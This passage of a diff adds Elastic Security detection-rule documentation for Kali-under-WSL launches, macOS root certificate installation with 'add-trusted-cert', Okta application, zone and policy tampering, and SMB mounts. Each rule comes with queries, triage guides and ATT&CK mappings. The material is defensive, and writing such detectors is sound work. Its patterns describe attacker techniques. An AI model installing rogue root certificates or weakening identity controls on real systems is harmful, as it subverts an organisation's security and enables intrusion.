process","providers":[[{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate for shells, archivers, credential tools, scanners, tunneling clients, Windows interop launches, or repeated distro starts; lower suspicion when visible follow-on activity stays limited to recognized setup or status commands. +- If local evidence remains suspicious or unresolved, is the same user or host repeating Kali/WSL activity elsewhere? + - Focus: related alerts and recent process starts scoped by `user.id` or `host.id`, compared with the suspicious `process.executable` and `process.parent.command_line` pattern. + - Hint: review user or host alerts only after local Kali/WSL evidence stays suspicious or unresolved. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: expand scope when the same user, host, parent chain, or Kali/WSL argument pattern appears on other endpoints or repeats outside the recognized workflow; keep scope local when exact activity stays confined to one recognized endpoint and bounded window, but do not close a suspicious local alert from recurrence alone. +- Escalate for unsupported user/host, suspicious launcher, masqueraded binary, lifecycle/configuration activity, offensive follow-on process, or spread; close only when process evidence binds to one exact recognized workflow with no contradictions; preserve evidence and escalate when mixed or incomplete. + + +*False positive analysis* + + +- Developer, security-lab, training, red-team, provisioning, or image-build systems can legitimately run or install Kali under WSL. First confirm process telemetry ties `user.id` or `host.id` cohort, `process.executable`, `process.args` or package path, `process.parent.command_line`, and signer or hash identity to the same recognized workflow, with no unexpected WSL stop/relaunch, tooling, or follow-on activity. Use rosters, training, build records, owner confirmation, or inventory only as corroboration after process evidence matches; if they conflict or telemetry is incomplete, do not close as benign. +- If workflow context is missing, keep the alert unresolved unless process telemetry proves the exact same bounded user/host, parent, binary identity, and Kali argument or package-path pattern with no contradictory lifecycle or follow-on evidence. +- Before creating an exception, require recurrence for the minimum confirmed pattern: `user.id` or `host.id` cohort, `process.executable`, `process.code_signature.subject_name` or `process.hash.sha256`, `process.parent.command_line`, and the Kali-specific `process.args` or package-path `process.executable`. Avoid exceptions on `process.name`, the substring "kali", or "kali.exe" alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the exact workflow evidence: user and host cohort, launcher path, signer or hash identity, parent command line, and Kali argument or package-path pattern. Create an exception only after the same bounded pattern recurs without contradictory follow-on behavior. +- If suspicious but unconfirmed, export the alert and surrounding process timeline, preserve process instance IDs, command lines, binary identity, user/host/session anchors, and any WSL configuration or package paths visible in process telemetry before containment. Apply reversible containment first, such as terminating the active Kali or "wsl.exe" process, disabling the initiating account's WSL access, or running "wsl --shutdown" when operationally safe. Escalate to host isolation only if the activity spreads, reconfigures WSL, or launches offensive tooling. +- If confirmed malicious, isolate the endpoint when the identity, lineage, lifecycle, or follow-on process evidence shows active abuse. Before cleanup, record the Kali/WSL process identity, parent chain, affected `user.id` and `host.id`, package paths, and WSL configuration paths seen in command lines. Then stop active WSL instances, remove the unauthorized Kali distribution and WSL configuration changes, reset credentials exposed to the Kali environment, and scope other endpoints for the same user, launcher identity, or package-path pattern. +- Post-incident hardening should decide whether WSL is permitted for the affected endpoint cohort, restrict who can install or run WSL distributions, and retain process telemetry for Kali package paths, ".wslconfig", "wsl.conf", and "wsl.exe" lifecycle commands. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + (process.name : "wsl.exe" and process.args : ("-d", "--distribution", "-i", "--install") and process.args : "kali*") or + process.executable : ( + "?:\\Users\\*\\AppData\\Local\\packages\\kalilinux*", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\WindowsApps\\kali.exe", + "?:\\Program Files*\\WindowsApps\\KaliLinux.*\\kali.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Local\\packages\\kalilinux*", + "\\Device\\HarddiskVolume*\\Users\\*\\AppData\\Local\\Microsoft\\WindowsApps\\kali.exe", + "\\Device\\HarddiskVolume*\\Program Files*\\WindowsApps\\KaliLinux.*\\kali.exe" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-install-root-certificate.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-install-root-certificate.asciidoc new file mode 100644 index 0000000000..59cf963c84 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-install-root-certificate.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-attempt-to-install-root-certificate]] +=== Attempt to Install Root Certificate + +Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to their command and control servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://ss64.com/osx/security-cert.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Install Root Certificate* + + +Root certificates are pivotal in establishing trust within public key infrastructures, enabling secure communications by verifying the authenticity of digital certificates. Adversaries exploit this by installing unauthorized root certificates on compromised macOS systems, thereby bypassing security warnings and facilitating covert command and control communications. The detection rule identifies such activities by monitoring specific process executions related to certificate management, excluding known legitimate applications, thus highlighting potential malicious attempts to subvert trust controls. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of the "security" process with the "add-trusted-cert" argument, as this indicates an attempt to add a root certificate. +- Check the parent process of the suspicious activity to ensure it is not one of the known legitimate applications, such as Bitdefender, as specified in the exclusion list. +- Investigate the user account associated with the process execution to determine if it is a legitimate user or potentially compromised. +- Examine recent system logs and network activity for any signs of unauthorized access or communication with known malicious command and control servers. +- Assess the system for any other indicators of compromise or unusual behavior that may suggest further malicious activity beyond the root certificate installation attempt. + + +*False positive analysis* + + +- Security software installations or updates may trigger the rule as they often involve legitimate root certificate installations. Users can handle this by adding exceptions for known security software paths, such as Bitdefender, to prevent unnecessary alerts. +- System administrators performing routine maintenance or updates might install root certificates as part of their tasks. To mitigate this, create exceptions for processes executed by trusted admin accounts or during scheduled maintenance windows. +- Some enterprise applications may require the installation of root certificates for internal communications. Identify these applications and exclude their processes from the rule to avoid false positives. +- Development environments on macOS systems might involve testing with self-signed certificates, which could trigger the rule. Developers can be instructed to use designated test environments or have their processes excluded during development phases. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized communications and potential data exfiltration. +- Revoke any unauthorized root certificates installed on the system by accessing the Keychain Access application and removing the suspicious certificates from the System Roots keychain. +- Conduct a thorough review of system logs and process execution history to identify any additional unauthorized changes or suspicious activities that may have occurred alongside the root certificate installation. +- Restore the system to a known good state using backups or system snapshots taken prior to the compromise, ensuring that any malicious changes are reverted. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems in the network may be affected. +- Implement enhanced monitoring and alerting for similar activities by refining detection capabilities to include additional indicators of compromise (IOCs) related to unauthorized certificate installations. +- Review and update security policies and configurations to prevent unauthorized certificate installations, such as enforcing stricter access controls and requiring administrative approval for certificate management actions. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "security" and process.args like "add-trusted-cert" and + (process.parent.name like~ ("osascript", "bash", "sh", "zsh", "Terminal", "Python*") or (process.parent.code_signature.exists == false or process.parent.code_signature.trusted == false)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Install Root Certificate +** ID: T1553.004 +** Reference URL: https://attack.mitre.org/techniques/T1553/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-modify-an-okta-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-modify-an-okta-application.asciidoc new file mode 100644 index 0000000000..0813cb28ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-modify-an-okta-application.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-34-attempt-to-modify-an-okta-application]] +=== Attempt to Modify an Okta Application + +Detects attempts to modify an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta application in order to weaken an organization's security controls or disrupt their business operations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Apps/Apps_Apps.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Impact +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Modify an Okta Application* + + +Okta is a widely used identity management service that helps organizations manage user access to applications securely. Adversaries may target Okta applications to alter, deactivate, or delete them, aiming to compromise security controls or disrupt operations. The detection rule monitors system events for application lifecycle updates, flagging unauthorized modification attempts to preempt potential security breaches. + + +*Possible investigation steps* + + +- Review the event logs for entries with event.dataset:okta.system and event.action:application.lifecycle.update to identify the specific application and user involved in the modification attempt. +- Verify the user's role and permissions within Okta to determine if they have legitimate access to modify the application. +- Check for any recent changes in user permissions or roles that might explain the modification attempt. +- Investigate the history of the application in question to see if there have been any previous unauthorized modification attempts or related security incidents. +- Correlate the event timestamp with other security logs and alerts to identify any concurrent suspicious activities or patterns that might indicate a broader attack. + + +*False positive analysis* + + +- Routine administrative updates to Okta applications by authorized personnel can trigger alerts. To manage this, create exceptions for specific user accounts or roles known to perform regular maintenance. +- Scheduled application updates or maintenance activities may be flagged. Document these activities and adjust the monitoring schedule to avoid unnecessary alerts during these periods. +- Integration or testing environments often undergo frequent changes. Exclude these environments from monitoring or adjust the rule to focus on production environments only. +- Automated scripts or tools used for application management might generate false positives. Identify these tools and whitelist their actions to prevent unnecessary alerts. +- Changes made by third-party vendors or partners with legitimate access can be mistaken for unauthorized attempts. Ensure these entities are properly documented and their actions are accounted for in the monitoring setup. + + +*Response and remediation* + + +- Immediately isolate the affected Okta application to prevent further unauthorized modifications. This can be done by temporarily disabling the application or restricting access to it. +- Review and revoke any unauthorized changes made to the application settings. Restore the application to its last known good configuration using backup or audit logs. +- Conduct a thorough audit of recent access logs to identify any unauthorized users or suspicious activities related to the application lifecycle updates. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader security implications or related incidents. +- Implement additional monitoring on the affected application and similar applications to detect any further unauthorized modification attempts. +- Review and update access controls and permissions for Okta applications to ensure that only authorized personnel have the ability to modify application settings. +- Communicate with relevant stakeholders, including IT and security teams, to inform them of the incident and any changes made to the application settings as part of the remediation process. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:application.lifecycle.update + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-modify-an-okta-network-zone.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-modify-an-okta-network-zone.asciidoc new file mode 100644 index 0000000000..7d6dc6883a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-modify-an-okta-network-zone.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-attempt-to-modify-an-okta-network-zone]] +=== Attempt to Modify an Okta Network Zone + +Detects attempts to modify an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Modify an Okta Network Zone* + + +The modification of an Okta network zone is a critical event as it could potentially allow an adversary to gain unrestricted access to your network. This rule detects attempts to modify, delete, or deactivate an Okta network zone, which may suggest an attempt to remove or weaken an organization's security controls. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the modification attempt. +- Check the `okta.outcome.result` field to confirm the network zone modification attempt. +- Check if there are multiple network zone modification attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the modification attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the modification attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the modification attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the modification attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized modification is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific modification technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:(zone.update or network_zone.rule.disabled or zone.remove_blacklist) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-modify-an-okta-policy-rule.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-modify-an-okta-policy-rule.asciidoc new file mode 100644 index 0000000000..bde2a4ef07 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-modify-an-okta-policy-rule.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-34-attempt-to-modify-an-okta-policy-rule]] +=== Attempt to Modify an Okta Policy Rule + +Detects attempts to modify a rule within an Okta policy. An adversary may attempt to modify an Okta policy rule in order to weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Tactic: Defense Evasion +* Data Source: Okta +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 417 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Modify an Okta Policy Rule* + + +The modification of an Okta policy rule can be an indication of malicious activity as it may aim to weaken an organization's security controls. + + +*Possible investigation steps:* + + +- Identify the actor related to the alert by reviewing `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, or `okta.actor.display_name` fields in the alert. +- Review the `okta.client.user_agent.raw_user_agent` field to understand the device and software used by the actor. +- Examine the `okta.outcome.reason` field for additional context around the modification attempt. +- Check the `okta.outcome.result` field to confirm the rule modification attempt. +- Check if there are multiple rule modification attempts from the same actor or IP address (`okta.client.ip`). +- Check for successful logins immediately following the modification attempt. +- Verify whether the actor's activity aligns with typical behavior or if any unusual activity took place around the time of the modification attempt. + + +*False positive analysis:* + + +- Check if there were issues with the Okta system at the time of the modification attempt. This could indicate a system error rather than a genuine threat activity. +- Check the geographical location (`okta.request.ip_chain.geographical_context`) and time of the modification attempt. If these match the actor's normal behavior, it might be a false positive. +- Verify the actor's administrative rights to ensure they are correctly configured. + + +*Response and remediation:* + + +- If unauthorized modification is confirmed, initiate the incident response process. +- Immediately lock the affected actor account and require a password change. +- Consider resetting MFA tokens for the actor and require re-enrollment. +- Check if the compromised account was used to access or alter any sensitive data or systems. +- If a specific modification technique was used, ensure your systems are patched or configured to prevent such techniques. +- Assess the criticality of affected services and servers. +- Work with your IT team to minimize the impact on users and maintain business continuity. +- If multiple accounts are affected, consider a broader reset or audit of MFA tokens. +- Implement security best practices https://www.okta.com/blog/2019/10/9-admin-best-practices-to-keep-your-org-secure/[outlined] by Okta. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:policy.rule.update + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-modify-an-okta-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-modify-an-okta-policy.asciidoc new file mode 100644 index 0000000000..b07628c9cf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-modify-an-okta-policy.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-34-attempt-to-modify-an-okta-policy]] +=== Attempt to Modify an Okta Policy + +Detects attempts to modify an Okta policy. An adversary may attempt to modify an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to modify an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Modify an Okta Policy* + + +Modifications to Okta policies may indicate attempts to weaken an organization's security controls. If such an attempt is detected, consider the following steps for investigation. + + +*Possible investigation steps:* + +- Identify the actor associated with the event. Check the fields `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name`. +- Determine the client used by the actor. You can look at `okta.client.device`, `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.ip_chain.ip`, and `okta.client.geographical_context`. +- Check the nature of the policy modification. You can review the `okta.target` field, especially `okta.target.display_name` and `okta.target.id`. +- Examine the `okta.outcome.result` and `okta.outcome.reason` fields to understand the outcome of the modification attempt. +- Check if there have been other similar modification attempts in a short time span from the same actor or IP address. + + +*False positive analysis:* + +- This alert might be a false positive if Okta policies are regularly updated in your organization as a part of normal operations. +- Check if the actor associated with the event has legitimate rights to modify the Okta policies. +- Verify the actor's geographical location and the time of the modification attempt. If these align with the actor's regular behavior, it could be a false positive. + + +*Response and remediation:* + +- If unauthorized modification is confirmed, initiate the incident response process. +- Lock the actor's account and enforce password change as an immediate response. +- Reset MFA tokens for the actor and enforce re-enrollment, if applicable. +- Review any other actions taken by the actor to assess the overall impact. +- If the attack was facilitated by a particular technique, ensure your systems are patched or configured to prevent such techniques. +- Consider a security review of your Okta policies and rules to ensure they follow security best practices. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.action:policy.lifecycle.update + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-mount-smb-share-via-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-mount-smb-share-via-command-line.asciidoc new file mode 100644 index 0000000000..22620718ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-mount-smb-share-via-command-line.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-attempt-to-mount-smb-share-via-command-line]] +=== Attempt to Mount SMB Share via Command Line + +Identifies the execution of macOS built-in commands to mount a Server Message Block (SMB) network share. Adversaries may use valid accounts to interact with a remote network share using SMB. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* 